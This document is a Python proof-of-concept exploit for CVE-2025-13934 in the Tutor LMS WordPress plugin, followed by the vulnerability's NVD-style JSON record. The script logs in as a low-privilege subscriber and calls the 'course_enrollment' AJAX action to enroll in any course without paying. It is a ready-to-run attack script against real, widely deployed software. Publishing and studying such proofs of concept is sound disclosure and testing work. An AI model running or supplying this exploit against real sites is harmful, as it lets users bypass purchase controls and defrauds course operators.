CVE-2025-13934

import requests import sys # CVE-2025-13934 PoC - Unauthorized Course Enrollment # Target: WordPress with Tutor LMS plugin <= 3.9.3 def exploit_cve_2025_13934(target_url, username, password, course_id): """ Exploit for Tutor LMS unauthorized course enrollment vulnerability. This PoC demonstrates how an authenticated user with subscriber-level access can enroll in any course without going through the purchase flow. Parameters: target_url: Base URL of the WordPress site username: WordPress user username password: WordPress user password course_id: ID of the course to enroll in (must be integer) """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") login_response = session.post(login_url, data=login_data, verify=False) if 'wordpress_logged_in' not in str(session.cookies) and 'Set-Cookie' not in str(login_response.headers): print("[-] Login failed. Check credentials.") return False print("[+] Login successful!") # Step 2: Exploit the vulnerability - Enroll in course without purchase ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'course_enrollment', 'course_id': course_id } print(f"[*] Attempting to enroll in course ID {course_id}...") exploit_response = session.post(ajax_url, data=exploit_data, verify=False) # Check response for successful enrollment if exploit_response.status_code == 200: response_text = exploit_response.text if 'success' in response_text.lower() or 'enrollment' in response_text.lower(): print("[+] SUCCESS! Enrolled in course without authorization!") print(f"[*] Response: {exploit_response.text[:500]}") return True else: print(f"[-] Enrollment failed or unexpected response: {exploit_response.text[:200]}") return False else: print(f"[-] Request failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2025-13934.py <target_url> <username> <password> <course_id>") print("Example: python cve-2025-13934.py http://example.com testuser testpass 123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] course = sys.argv[4] exploit_cve_2025_13934(target, user, pwd, course)

{"cve": {"id": "CVE-2025-13934", "sourceIdentifier": "[email protected]", "published": "2026-01-09T08:15:57.007", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to unauthorized course enrollment in all versions up to, and including, 3.9.3. This is due to a missing capability check and purchasability validation in the `course_enrollment()` AJAX handler. This makes it possible for authenticated attackers, with subscriber level access and above, to enroll themselves in any course without going through the proper purchase flow."}, {"lang": "es", "value": "El plugin Tutor LMS – solución de eLearning y cursos en línea para WordPress es vulnerable a la inscripción no autorizada en cursos en todas las versiones hasta la 3.9.3, inclusive. Esto se debe a una falta de verificación de capacidad y validación de la posibilidad de compra en el manejador AJAX 'course_enrollment()'. Esto hace posible que atacantes autenticados, con acceso de nivel de suscriptor y superior, se inscriban en cualquier curso sin pasar por el flujo de compra adecuado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3422766/tutor/trunk/classes/Course.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5de212c9-5c2e-4713-b1ce-022dd84520c3?source=cve", "source": "[email protected]"}]}}